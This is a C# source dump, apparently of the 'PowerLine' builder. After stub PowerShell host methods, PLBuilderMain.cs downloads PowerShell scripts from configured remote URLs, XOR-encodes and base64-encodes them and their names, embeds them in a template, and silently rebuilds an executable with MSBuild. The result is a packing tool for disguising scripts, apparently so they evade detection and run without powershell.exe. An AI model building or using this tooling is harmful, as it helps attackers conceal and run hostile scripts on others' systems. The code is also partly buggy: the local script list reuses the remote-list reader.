252 | { 253 | get 254 | { 255 | throw new NotImplementedException(); 256 | } 257 | } 258 | 259 | public override Size MaxPhysicalWindowSize 260 | { 261 | get 262 | { 263 | throw new NotImplementedException(); 264 | } 265 | } 266 | 267 | public override Size MaxWindowSize 268 | { 269 | get 270 | { 271 | throw new NotImplementedException(); 272 | } 273 | } 274 | 275 | public override Coordinates WindowPosition 276 | { 277 | get 278 | { 279 | throw new NotImplementedException(); 280 | } 281 | 282 | set 283 | { 284 | throw new NotImplementedException(); 285 | } 286 | } 287 | 288 | public override Size WindowSize 289 | { 290 | get 291 | { 292 | throw new NotImplementedException(); 293 | } 294 | 295 | set 296 | { 297 | throw new NotImplementedException(); 298 | } 299 | } 300 | 301 | public override string WindowTitle 302 | { 303 | get 304 | { 305 | throw new NotImplementedException(); 306 | } 307 | 308 | set 309 | { 310 | throw new NotImplementedException(); 311 | } 312 | } 313 | 314 | public override void FlushInputBuffer() 315 | { 316 | throw new NotImplementedException(); 317 | } 318 | 319 | public override BufferCell[,] GetBufferContents(Rectangle rectangle) 320 | { 321 | throw new NotImplementedException(); 322 | } 323 | 324 | public override KeyInfo ReadKey(ReadKeyOptions options) 325 | { 326 | throw new NotImplementedException(); 327 | } 328 | 329 | public override void ScrollBufferContents(Rectangle source, Coordinates destination, Rectangle clip, BufferCell fill) 330 | { 331 | throw new NotImplementedException(); 332 | } 333 | 334 | public override void SetBufferContents(Rectangle rectangle, BufferCell fill) 335 | { 336 | throw new NotImplementedException(); 337 | } 338 | 339 | public override void SetBufferContents(Coordinates origin, BufferCell[,] contents) 340 | { 341 | throw new NotImplementedException(); 342 | } 343 | } 344 | } 345 | -------------------------------------------------------------------------------- /PowerLine/PLBuilderMain.cs: -------------------------------------------------------------------------------- 1 | 2 | using System; 3 | using System.Collections.Generic; 4 | using System.Diagnostics; 5 | using System.IO; 6 | using System.Net; 7 | using System.Text; 8 | using System.Xml; 9 | 10 | namespace PLBuilder 11 | { 12 | //class Options 13 | //{ 14 | // [Option('d', "dictionaryFile", Required = false, 15 | // HelpText = "Provide your own Dictionary File.")] 16 | // public string DictionaryFile { get; set; } 17 | 18 | // [Option('s', "projectFile", Required = false, 19 | // HelpText = "Provide your own Solution File.")] 20 | // public string ProjectFile { get; set; } 21 | 22 | // [HelpOption] 23 | // public string GetUsage() 24 | // { 25 | // var usage = new StringBuilder(); 26 | // usage.AppendLine("Quickstart Application 1.0"); 27 | // usage.AppendLine("Read user manual for usage instructions..."); 28 | // return usage.ToString(); 29 | // } 30 | 31 | //} 32 | 33 | class PLBuilderMain 34 | { 35 | 36 | 37 | static private XmlTextReader _programConf; 38 | static private XmlTextReader _userConf; 39 | static private string _saveDir; 40 | static private List _savedFiles; 41 | static private List _dictionary; 42 | static private List _usedWords; 43 | static private Random _randGen; 44 | 45 | static void Main(string[] args) 46 | { 47 | string dictionaryFile = ""; 48 | string projectFile = ""; 49 | 50 | _randGen = new Random(); 51 | 52 | _programConf = new XmlTextReader("ProgramConf.xml"); 53 | _userConf = new XmlTextReader("UserConf.xml"); 54 | 55 | _programConf.ReadToFollowing("DictionaryFile"); 56 | _programConf.Read(); 57 | dictionaryFile = _programConf.Value; 58 | 59 | _programConf.ReadToFollowing("ProjectFile"); 60 | _programConf.Read(); 61 | projectFile = _programConf.Value; 62 | 63 | //Overwrite defaults and get other runtime options 64 | //var options = new Options(); 65 | //if (Parser.Default.ParseArguments(args, options)) 66 | //{ 67 | // if(options.DictionaryFile != null) 68 | // { 69 | // dictionaryFile = options.DictionaryFile; 70 | // } 71 | 72 | // if (options.ProjectFile != null) 73 | // { 74 | // projectFile = options.ProjectFile; 75 | // } 76 | //} 77 | 78 | PrintNorm("Getting Template Source Files From:" + projectFile); 79 | 80 | PrintNorm("Saving Template Files"); 81 | List fileNames = GetFileNames(projectFile, !projectFile.Contains(":\\")); 82 | 83 | string functionsFile = ""; 84 | foreach (string name in fileNames) 85 | { 86 | if (name.Contains("Functions.cs")) 87 | { 88 | functionsFile = name; 89 | break; 90 | } 91 | } 92 | 93 | List remScripts = getRemoteScriptList(); 94 | List localScripts = getRemoteScriptList(); 95 | 96 | PrintNorm("Building Obfuscation Dictionary From: " + dictionaryFile); 97 | buildDictionary(dictionaryFile); 98 | 99 | bool success = writeFunctionFile(functionsFile, remScripts, localScripts); 100 | 101 | PrintNorm("Restoring Template Files and Deleting Temp Files"); 102 | restoreFiles(); 103 | 104 | if (success) 105 | { 106 | PrintNorm("Sucess! Run the PowerLine.exe Program"); 107 | } 108 | else 109 | { 110 | PrintError("Build Errors Occured, Please Check the MSBuild Output"); 111 | } 112 | 113 | } 114 | 115 | static void buildDictionary(string dictionaryFile) 116 | { 117 | _dictionary = new List(); 118 | _usedWords = new List(); 119 | 120 | foreach (string currWord in File.ReadAllLines(dictionaryFile)) 121 | { 122 | _dictionary.Add(currWord); 123 | } 124 | } 125 | 126 | static List GetFileNames(string projectFile, bool relative) 127 | { 128 | List fileNames = new List(); 129 | _savedFiles = new List(); 130 | 131 | if (relative) 132 | { 133 | string folder = Path.GetDirectoryName(Process.GetCurrentProcess().MainModule.FileName); 134 | projectFile = Path.GetFullPath(Path.Combine(folder, @projectFile)); 135 | } 136 | 137 | string[] fin = File.ReadAllLines(projectFile); 138 | 139 | System.String projectFolder = Path.GetDirectoryName(projectFile); 140 | _saveDir = Path.Combine(projectFolder, "plsave"); 141 | 142 | foreach (string line in fin) 143 | { 144 | if (line.Contains(".cs")) 145 | { 146 | string fileNameCurr = line.Split('"')[1]; 147 | string fileNamePath = Path.Combine(projectFolder, fileNameCurr); 148 | fileNames.Add(fileNamePath); 149 | 150 | string savePath = Path.Combine(_saveDir, fileNameCurr); 151 | string savePathFolder = Path.GetDirectoryName(savePath); 152 | if (!Directory.Exists(savePathFolder)) 153 | { 154 | Directory.CreateDirectory(savePathFolder); 155 | } 156 | 157 | _savedFiles.Add(fileNamePath + "$$$" + savePath); 158 | 159 | File.Copy(fileNamePath, savePath, true); 160 | } 161 | } 162 | 163 | return fileNames; 164 | } 165 | 166 | //https://msdn.microsoft.com/en-us/library/bb762914(v=vs.110).aspx 167 | static void DirectoryCopy(string sourceDirName, string destDirName, bool copySubDirs) 168 | { 169 | // Get the subdirectories for the specified directory. 170 | DirectoryInfo dir = new DirectoryInfo(sourceDirName); 171 | 172 | if (!dir.Exists) 173 | { 174 | throw new DirectoryNotFoundException( 175 | "Source directory does not exist or could not be found: " 176 | + sourceDirName); 177 | } 178 | 179 | DirectoryInfo[] dirs = dir.GetDirectories(); 180 | // If the destination directory doesn't exist, create it. 181 | if (!Directory.Exists(destDirName)) 182 | { 183 | Directory.CreateDirectory(destDirName); 184 | } 185 | 186 | // Get the files in the directory and copy them to the new location. 187 | FileInfo[] files = dir.GetFiles(); 188 | foreach (FileInfo file in files) 189 | { 190 | string temppath = Path.Combine(destDirName, file.Name); 191 | file.CopyTo(temppath, true); 192 | } 193 | 194 | // If copying subdirectories, copy them and their contents to new location. 195 | if (copySubDirs) 196 | { 197 | foreach (DirectoryInfo subdir in dirs) 198 | { 199 | string temppath = Path.Combine(destDirName, subdir.Name); 200 | DirectoryCopy(subdir.FullName, temppath, copySubDirs); 201 | } 202 | } 203 | } 204 | 205 | static List getRemoteScriptList() 206 | { 207 | List scripts = new List(); 208 | 209 | while (_userConf.ReadToFollowing("Remote")) 210 | { 211 | _userConf.Read(); 212 | scripts.Add(_userConf.Value); 213 | } 214 | 215 | return scripts; 216 | } 217 | 218 | static List getLocalScriptList() 219 | { 220 | List scripts = new List(); 221 | 222 | while (_userConf.ReadToFollowing("Local")) 223 | { 224 | _userConf.Read(); 225 | scripts.Add(_userConf.Value); 226 | } 227 | 228 | return scripts; 229 | } 230 | 231 | static bool writeFunctionFile(string functionsFile, List remScripts, List localScripts) 232 | { 233 | //make this better at some point 234 | 235 | string[] fin = File.ReadAllLines(functionsFile); 236 | 237 | StreamWriter fout = new StreamWriter(functionsFile, false); 238 | 239 | int idx = 0; 240 | 241 | foreach (string line in fin) 242 | { 243 | idx++; 244 | if (line.Contains("$$$")) 245 | { 246 | break; 247 | } 248 | 249 | fout.WriteLine(line); 250 | } 251 | 252 | //write the XOR key 253 | byte dKey = Convert.ToByte(GetLetter()); 254 | fout.WriteLine("\t\t\tdKey = \'" + (char)dKey + "\';"); 255 | 256 | PrintNorm("Importing and Encoding Scripts"); 257 | 258 | foreach (string script in remScripts) 259 | { 260 | string scriptName = script.Substring(script.LastIndexOf('/') + 1); 261 | using (WebClient client = new WebClient()) 262 | { 263 | client.Proxy = WebRequest.GetSystemWebProxy(); 264 | client.Proxy.Credentials = CredentialCache.DefaultCredentials; 265 | using (MemoryStream mStream = new MemoryStream(client.DownloadData(new Uri(script)))) 266 | { 267 | 268 | Console.WriteLine("\t" + script + "\r\n"); 269 | byte[] bytes = mStream.ToArray(); 270 | 271 | //XOR "encrypt" 272 | for (int i = 0; i < bytes.Length; i++) 273 | { 274 | bytes[i] ^= dKey; 275 | } 276 | 277 | string b64XorScript = Convert.ToBase64String(bytes); 278 | 279 | //Lop off PS1 or other file extension from scriptname 280 | Byte[] moduleName = Encoding.UTF8.GetBytes(scriptName.Split('.')[0]); 281 | Byte[] outModuleName = new Byte[moduleName.Length]; 282 | 283 | for (int i = 0; i < moduleName.Length; i++) 284 | { 285 | outModuleName[i] = (byte)(moduleName[i] ^ dKey); 286 | } 287 | 288 | fout.WriteLine("\t\t\tFuncs.Add(\"" + Convert.ToBase64String(outModuleName) + "\",\"" + b64XorScript + "\");"); 289 | } 290 | } 291 | } 292 | 293 | for (int i = idx; i < fin.Length; i++) 294 | { 295 | fout.WriteLine(fin[i]); 296 | } 297 | 298 | fout.Close(); 299 | 300 | PrintNorm("Building PowerLine.exe"); 301 | 302 | string currPath = Path.GetDirectoryName(Process.GetCurrentProcess().MainModule.FileName); 303 | string fullPath = ""; 304 | 305 | string buildTool = ""; 306 | 307 | if(File.Exists(@"C:\Windows\Microsoft.NET\Framework64\v2.0.50727\MSBuild.exe")) 308 | { 309 | buildTool = @"C:\Windows\Microsoft.NET\Framework64\v2.0.50727\MSBuild.exe"; 310 | fullPath = Path.Combine(Path.GetDirectoryName(functionsFile), "PowerLineTemplateWin7.pln.sln"); 311 | } else if(File.Exists(@"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe")) 312 | { 313 | buildTool = @"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe"; 314 | fullPath = Path.Combine(Path.GetDirectoryName(functionsFile), "PowerLineTemplateWin10.pln.sln"); 315 | } 316 | 317 | Process cmd = new Process(); 318 | cmd.StartInfo.FileName = "cmd.exe"; 319 | cmd.StartInfo.CreateNoWindow = true; 320 | cmd.StartInfo.Arguments = "/c " + buildTool + " " + fullPath + @" /t:rebuild /p:Configuration=Release /p:Platform=x64"; 321 | cmd.StartInfo.UseShellExecute = false; 322 | cmd.Start(); 323 | cmd.WaitForExit(); 324 | 325 | return (cmd.ExitCode == 0); 326 | } 327 | 328 | public static void restoreFiles() 329 | { 330 | string[] splitVal = new string[] { "$$$" }; 331 | 332 | foreach (string name in _savedFiles) 333 | { 334 | string destPath = name.Split(splitVal, StringSplitOptions.RemoveEmptyEntries)[0]; 335 | string srcPath = name.Split(splitVal, StringSplitOptions.RemoveEmptyEntries)[1]; 336 | File.Copy(srcPath, destPath, true); 337 | } 338 | 339 | Directory.Delete(_saveDir, true); 340 | } 341 | 342 | //https://stackoverflow.com/questions/15249138/pick-random-char 343 | public static char GetLetter() 344 | { 345 | string chars = "$%#@!*abcdefghijklmnopqrstuvwxyz1234567890?;:ABCDEFGHIJKLMNOPQRSTUVWXYZ^&"; 346 | int num = _randGen.Next(0, chars.Length - 1); 347 | return chars[num]; 348 | } 349 | 350 | //Gets a random word from the dictionary and makes sure it isnt already in use 351 | public static string GetWord() 352 | { 353 | while (true) 354 | { 355 | int num = _randGen.Next(0, _dictionary.Count - 1); 356 | if (!_usedWords.Contains(_dictionary[num])) 357 | { 358 | _usedWords.Add(_dictionary[num]); 359 | return _dictionary[num]; 360 | } 361 | } 362 | } 363 | 364 | public static void PrintNorm(string msg) 365 | { 366 | Console.ForegroundColor = ConsoleColor.Green; 367 | 368 | Console.WriteLine("\r\n###### " + msg + " ######\r\n"); 369 | 370 | Console.ResetColor(); 371 | } 372 | 373 | public static void PrintError(string msg) 374 | { 375 | Console.ForegroundColor = ConsoleColor.Red; 376 | 377 | Console.WriteLine("\r\n!!!!! " + msg + " !!!!!\r\n"); 378 | 379 | Console.ResetColor(); 380 | } 381 | } 382 | } 383 | --------------------------------------------------------------------------------